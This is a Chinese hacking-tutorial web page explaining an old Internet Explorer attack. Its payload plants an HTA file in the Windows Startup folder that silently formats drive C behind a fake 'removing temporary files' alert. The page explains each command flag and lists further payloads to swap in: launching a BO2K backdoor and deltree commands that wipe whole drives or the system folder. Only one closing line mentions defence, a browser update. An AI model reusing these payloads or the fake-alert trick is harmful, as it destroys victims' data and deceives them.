如何利用HTML格式化你的硬盘

所属分类: 网络编程 / 黑客相关 阅读数: 1192
收藏 0 赞 0 分享
   这是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的 
攻击方法。 

以下这段就是具有破坏性的HTML 

Hacking Your Computer . 

scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"; 
scr.Doc=" 
wsh.Run('start.exe /m format c:/q /autotest /u'); 
alert('IMPORTANT : Windows is removing unused temporary files.');"; 
scr.write(); 


(懂HTML的人应该就看得出来其中精随) 

现在我大概来解释其中几个项目所写的意思 

scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta" 

这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为 
hack.hta 

wsh.Run('start.exe /m format c:/q /autotest /u'); 

通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。 

它是一个微软没有公开的功能,键入後format的动作便会被强制执行。 

这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。 

最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小 
化的状态。 

执行其他攻击指令的方法∶ 

只要修改“start.exe /m format c:/q /autotest /u”这一项便形。 

start.exe /m format c:/q /autotest /u 

其中的“c:”可以换做其他的硬碟。 

(path)\bo2k.exe 

执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。 

start.exe /m deltree /y a:\*.* c:\*.* d:\*.* 

杀掉对方硬碟底下所有的档案。 

start.exe /m deltree /y c:\windows\system\*.* 

杀掉对方c:\windows\system\目录底下的所有档案。 

後叙∶ 

预防遭此手段的破坏就是到微软去更新你的浏览器。 
cplic putlic eval 01Oct2001 ao9McpUFF-LvJU5BvTp-7xDVpSa4X-RrrcKpv jjCPSUITE-EVAL-3DES-NG CK-CP 
更多精彩内容其他人还在看

JS和C#分别防注入代码

防范的时候需要对用户的输入进行检查。特别是一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤。
收藏 0 赞 0 分享

注册验证java代码[针对上篇文章]

注册验证代码[针对上篇文章] ,大家可以多参考脚本之家以前发布的文章。
收藏 0 赞 0 分享

SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令

sa下删除xp_cmdshell和xplog70.dll时候的一种办法,不算新的了, 也被一些人不断的再次提出来,为了方便自己记忆再写出来, 在这种情况下,要执行命令,条件是要有xp_regwrite。
收藏 0 赞 0 分享

QQ聊天记录删除了怎么恢复简单方法

你知道QQ聊天记录删除了怎么恢复吗?小编通过在网上收集大量的资料,总结出了一些简单的恢复误删除QQ聊天记录的方法,下面就让小编为你详细的介绍一下
收藏 0 赞 0 分享

看别人怎么查QQ聊天记录 比较详细查询QQ聊天记录的方法?

要想看或导出对方的QQ聊天记录,需要使用专门的黑客软件吗?许多人会说当然需要!其实并非如此,我们应该如何防范。
收藏 0 赞 0 分享

怎么查QQ聊天记录 怎样恢复删除的手机QQ聊天记录技巧?

怎么查QQ聊天记录 怎样恢复删除的手机QQ聊天记录技巧?究竟对方在隐瞒什么呢,大家可以通过下面的方法试试。
收藏 0 赞 0 分享

跨站脚本攻击XSS(Cross Site Script)的原理与常见场景分析

XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。这篇文章主要给大家介绍了关于跨站脚本攻击XSS(Cross Site Script)的原理与常见场景的相关资料,需要的朋友可以参
收藏 0 赞 0 分享

分析攻击IP来源地与防御IP攻击的应对策略

今天小编就为大家分享一篇关于分析攻击IP来源地并画出饼图的文章,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
收藏 0 赞 0 分享

详解XSS 和 CSRF简述及预防措施

这篇文章主要介绍了XSS 和 CSRF简述及预防措施,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
收藏 0 赞 0 分享

详解WEB攻击之CSRF攻击与防护

这篇文章主要介绍了详解WEB攻击之CSRF攻击与防护,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
收藏 0 赞 0 分享
查看更多